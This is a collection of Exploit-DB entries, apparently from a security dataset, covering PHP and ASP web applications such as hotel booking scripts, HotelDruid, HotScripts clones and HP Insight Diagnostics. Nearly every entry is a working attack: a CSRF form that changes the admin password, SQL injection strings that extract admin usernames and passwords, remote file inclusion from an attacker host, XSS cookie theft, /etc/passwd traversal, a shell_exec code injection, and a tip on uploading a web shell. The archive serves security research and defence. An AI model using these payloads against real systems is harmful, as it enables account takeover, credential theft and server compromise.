deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46010
Description: Hotel Booking Script 3.4 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2018-12-19
Author: Sainadh Jamalpur

Exploit:
# Exploit Title: Admin Account take over Via CSRF
# Google Dork: N/A
# Date: 17-12-2018
# Exploit Author: Sainadh Jamalpur
# Vendor Homepage: https://www.phpjabbers.com/hotel-booking-system/
# Software Link: https://demo.phpjabbers.com/[PII_REDACTED]_422/index.php?controller=pjAdmin&action=pjActionIndex
# Version: 3.4
# Tested on: Windows x64/ Kali linux x64
# CVE : N/A

************************Description:**********************

The online hotel reservation system is built in PHP and uses MySQL to
store data. The script provides a powerful room booking and reservation
management functionality and allows you to install a clear
call-to-action tool on your hotel website which will impact conversions
and increase bookings. Our room booking system is highly customizable
and compatible with various website types.

*************************Vulnerability Description:****************
 An attacker can take the admin account via sending the Malicious link
to the authenticated user then the Victim clicks on the malicious link
then the admin password is change

************************************
PoC**************************************


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://site.com/admin/index.php?controller=pjAdminUsers&action=pjActionUpdate"
method="POST">
      <input type="hidden" name="user&#95;update" value="1" />
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="hidden" name="email" value="admin&#64;admin&#46;com" />
      <input type="hidden" name="password" value="pass1234" />
      <input type="hidden" name="name" value="Administrator" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="status" value="T" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #50715
Description: Hotel Reservation System 1.0 - SQLi (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-02-08
Author: Nefrit ID

Exploit:
# Exploit Title: Hotel Reservation System 1.0 - SQLi (Unauthenticated)
# Google Dork: None
# Date: 01/29/2022
# Exploit Author: Nefrit ID
# Author Website: https://manadocoder.com
# Vendor Homepage: https://github.com/dhruvmullick
# Software Link: https://github.com/dhruvmullick/hotel-reservation-system
# Tested on: Kali Linux & Windows 10

===Exploit Url===
http://localhost/hotel-reservation-system-master/login.php
Method: POST
Parameter: username
===Burpsuite Proxy Intercept===
POST /hotel-reservation-system-master/loginsession.php HTTP/1.1
Host: localhost
Content-Length: 46
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/hotel-reservation-system-master/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: uid=1
Connection: close

username=u1337#' AND (SELECT 4775 FROM (SELECT(SLEEP(5)))BzJL)-- dvSZ&[CREDENTIAL_REDACTED]=Submit
I can also bypass login by using the following payload: ' or '1'='1'# on the parameter username
Exploit-DB #41307
Description: HotelCMS with Booking Engine - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: HotelCMS with Booking Engine - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://codepaul.com/
# Software Buy: https://codecanyon.net/item/hotelcms-with-booking-engine/12789671
# Demo: http://codepaul.com/hotelcms/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/locale?locale=[SQL]
# # # # #
Exploit-DB #45614
Description: HotelDruid 2.2.4 - 'anno' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-16
Author: Ihsan Sencan

Exploit:
# Exploit Title: HotelDruid 2.2.4 - 'anno' SQL Injection
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.hoteldruid.com/
# Software Link: http://www.hoteldruid.com/en/download.html
# Version: 2.2.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://192.168.1.27/[PATH]/privilegi_utenti.php?anno=2018&id_sessione=&id_utente_privilegi=[SQL]
 
-77'+uNIon+selECt+77,(/*!100010sELect*/+/*!10001concat*/+(@:=0,(/*!100010seLEct*/+cOUnt(*) /*!10001fROm*/+/*!100010inforMAtion_schema.tables*/+/*!10001WheRE*/(TABLE_SCheMA!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!10001conCAt*/+(@,0x3c62723e,/*!100010taBLe_naMe*/)),@)),77,77,77,77,77--+-
 
GET /[PATH]/privilegi_utenti.php?anno=2018&id_sessione=&id_utente_privilegi=-77%27+uNIon+selECt+77,(/*!100010sELect*/+/*!10001concat*/+(@:=0,(/*!100010seLEct*/+cOUnt(*)%20/*!10001fROm*/+/*!100010inforMAtion_schema.tables*/+/*!10001WheRE*/(TABLE_SCheMA!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!10001conCAt*/+(@,0x3c62723e,/*!100010taBLe_naMe*/)),@)),77,77,77,77,77--+- HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 13 Oct 2018 08:21:14 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8 

# POC: 
# 2)
# http://192.168.1.27/[PATH]/gestione_utenti.php?modifica_gruppi=SI&id_utente_mod=[SQL]

%31%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%35%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%35%3d%35%2c%31%29%29%29%29%29%2d%2d%20%20%2d
 
GET /[PATH]/gestione_utenti.php?modifica_gruppi=SI&id_utente_mod=%31%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%35%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%35%3d%35%2c%31%29%29%29%29%29%2d%2d%20%20%2d HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 13 Oct 2018 08:24:07 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #45976
Description: HotelDruid 2.3.0 - 'id_utente_mod' SQL Injection
Type: webapps
Platform: php
Date: 2018-12-11
Author: Sainadh Jamalpur

Exploit:
# Exploit Title: SQL Injection in HotelDruid version 2.3
# Google Dork: N/A
# Date: 9-12-2018
# Exploit Author: Sainadh Jamalpur
# Vendor Homepage: http://www.hoteldruid.com
# Software Link: https://sourceforge.net/projects/hoteldruid/
# Version: 2.3 (REQUIRED)
# Tested on: Windows x64/ Kali linux x64
# CVE : N/A

Description:
 Hoteldruid is an open source program for hotel management (property
management software) developed by DigitalDruid.Net
Vulnerability Description:
 the "id_utente_mod" parameter is Vulnerable to SQL Injection Vulnerability.
Payload:
1' AND EXTRACTVALUE(5,CONCAT(0x5c,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT
(ELT(5=5,1)))))--  -

Poc: http://hoteldruid/gestione_utenti.php?anno=2018&id_sessione=&modifica_gruppi=SI&id_utente_mod=1%27%20AND%20EXTRACTVALUE(5,CONCAT(0x5c,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT%20(ELT(5=5,1)))))--%20%20-
Exploit-DB #23518
Description: HotNews 0.x - 'config[incdir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-05
Author: Officerrr

Exploit:
source: https://www.securityfocus.com/bid/9357/info
 
HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/func.inc.php3
http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/hndefs.inc.php3
Exploit-DB #23517
Description: HotNews 0.x - 'hotnews-engine.inc.php3?config[header]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-05
Author: Officerrr

Exploit:
source: https://www.securityfocus.com/bid/9357/info

HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file]
Exploit-DB #28031
Description: HotPlug CMS 1.0 - 'Login1.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-15
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/18454/info

HotPlug CMS is prone to a cross-site scripting attack. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary HTML and script code in the browser of a victim user in the context of the webserver process. This may help the attacker steal cookie-based authentication credentials or launch other attacks.

http://www.example.com/[hpc_path]/administration/tblcontent/login1.php?msg=[xss]
Exploit-DB #6545
Description: HotScripts Clone - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-24
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Hotscripts Clone (cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.greatclone.com/product_info.php?cPath=31&products_id=81
|
| DorK   : inurl:add_soft.php
|___________________________________________________|


sbwmd_config:username_len
sbwmd_email_id:useremail
sbwmd_mailing_list:username
sbwmd_mailing_list:useremail
sbwmd_members:username
sbwmd_admin:pwd>freemagics
sbwmd_config:pwd_len
sbwmd_members:pwd
sbwmd_admin:admin_name
sbwmd_config:admin_email
sbwmd_softwares:admin_desc





www.[target].com/Script/showcategory.php?cid=-27+UNION+SELECT+1,concat(admin_name,0x3a,pwd),3,4,5,6+FROM+sbwmd_admin--


OR


www.[target].com/Script/showcategory.php?cid=-27+UNION+SELECT+1,concat(admin_name,0x3a,pwd),3,4,5+FROM+sbwmd_admin--






____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________


                             Im IRAQi

# milw0rm.com [2008-09-24]
Exploit-DB #4633
Description: HotScripts Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2007-11-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+             HotScripts Clone Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK (google): "Software Categories" "Featured Resources" "Search"


DESCRIPTION:
Pull admin info from database, and maybe upload shell.


EXPLOITS:
www.site.com/software-description.php?id=-1/**/UNION/**/ALL/**/SELECT/**/concat(admin_name,char(58),pwd)/**/FROM/**/sbwmd_admin/*


NOTE/TIP:
admin login is at /siteadmin/
image upload /siteadmin/fileupload.php, its vulnerable to PHP Nullbyte posisoning. so upload shell.

i know this doesnt look like a HotScripts clone but it is.


GREETZ: milw0rm.com, H4CK-Y0u.org


--==+================================================================================+==--
--==+             HotScripts Clone Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--

# milw0rm.com [2007-11-18]
Exploit-DB #34774
Description: HotScripts Type PHP Clone Script - 'feedback.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-21
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43519/info

Hotscripts Type PHP Clone Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/hotscriptsclonetypephpscript/feedback.php?msg="><script>alert(document.cookie);</script>
Exploit-DB #34775
Description: HotScripts Type PHP Clone Script - 'index.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-21
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43519/info
 
Hotscripts Type PHP Clone Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/hotscriptsclonetypephpscript/index.php?id=1&msg="><script>alert(document.cookie);</script>
Exploit-DB #34776
Description: HotScripts Type PHP Clone Script - 'lostpassword.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-21
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43519/info
  
Hotscripts Type PHP Clone Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/hotscriptsclonetypephpscript/lostpassword.php?msg="><script>alert(document.cookie);</script>
Exploit-DB #35143
Description: HotWeb Scripts HotWeb Rentals - 'PageId' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-28
Author: non customers

Exploit:
source: https://www.securityfocus.com/bid/45567/info

HotWeb Scripts HotWeb Rentals is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/default.asp?PageId=-15+union+select+11,22,33,44,55,66,77,88,99+from+users
Exploit-DB #19768
Description: House Style 0.1.2 - 'readfile()' Local File Disclosure
Type: webapps
Platform: php
Date: 2012-07-12
Author: GoLd_M

Exploit:
# Exploit Title: House Style 0.1.2 => readfile() Local File Disclosure Vulnerability
# Date: 11/07/2012
# Author: GoLd_M
# Vendor or Software Link: http://sourceforge.net/projects/housestyle/
# Version: 1.03
# Category:: readfile() Local File Disclosure Vulnerability2
# Tested on: Xp SP 2
# Ex : 	[House Style 0.1.2]/report.php?file=../../../../../../../../../../../../../../etc/passwd
# See Test :  http://upload.traidnt.net/upfiles/aqz25984.jpg
Exploit-DB #5638
Description: How2ASP.net WebBoard 4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-05-17
Author: CWH Underground

Exploit:
==========================================================
               How2ASP.net Webboard 4.1             
           Remote SQL Injection Vulnerability             
==========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 17 May 2008
SITE   : www.citecclub.org


#####################################################
 APPLICATION : How2ASP.net Webboard   
 VERSION     : <= 4.1   #
 VENDOR      : http://howtoasp.net   
 DOWNLOAD    : http://howtoasp.net/dl/app/wb41/webboard41.zip
#####################################################


DORK: "Powered by How2asp"

---Exploit---

http://[target]/[path]/showQAnswer.asp?qNo=441%20union%20select%201,2,Login,4,5,Password,7,8,9,10,11,12,13,14%20from%20member%00

http://[target]/[path]/showQAnswer.asp?qNo=[SQL Statement]


---NOTE/TIP---

You must know what columns number that appear on pages, Insert username or password into columns number

You can enumerate all username and password use -> 

http://[target]/[path]/showQAnswer.asp?qNo=441%20union%20select%201,2,Login,4,5,Password,7,8,9,10,11,12,13,14%20from%20member
%20where%20Login%20not%20in%20('admin','test',....)%00

##################################################################
# Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C   #
##################################################################

# milw0rm.com [2008-05-17]
Exploit-DB #10701
Description: HowMany 2.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : HowMany V2.6 RFI Vulnerability                                          |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : HowMany V2.6 http://www.scripts-zone.com                                |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://server/1/howex.php3?lvc_include_dir=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #38562
Description: HP Insight Diagnostics - Remote Code Injection
Type: webapps
Platform: php
Date: 2013-06-10
Author: Markus Wulftange

Exploit:
source: https://www.securityfocus.com/bid/60447/info

HP Insight Diagnostics is prone to a remote code-injection vulnerability.

An attacker can exploit this vulnerability to inject and execute arbitrary code within the context of the affected application.

HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected.

https://www.example.com/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes
Exploit-DB #38563
Description: HP Insight Diagnostics 9.4.0.4710 - Local File Inclusion
Type: webapps
Platform: php
Date: 2013-06-10
Author: Markus Wulftange

Exploit:
source: https://www.securityfocus.com/bid/60449/info

HP Insight Diagnostics is prone to a local file include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected. 

https://www.example.com/hpdiags/frontend2/help/pageview.php?path=comparesurvey.html
Exploit-DB #34547
Description: HP Insight Diagnostics Online Edition 8.4 - 'custom.php?testmode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-31
Author: Mr Teatime

Exploit:
source: https://www.securityfocus.com/bid/42888/info
    
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/custom.php?testMode=blah';</XSS%20STYLE=xss:expression(location='www.example2.com')>
Versions:- 3.0.0.68 linux
Exploit-DB #34546
Description: HP Insight Diagnostics Online Edition 8.4 - 'globals.php?tabpage' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-31
Author: Mr Teatime

Exploit:
source: https://www.securityfocus.com/bid/42888/info
   
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/globals.php?tabpage=";alert(1)//
Versions:- 3.0.0.68 linux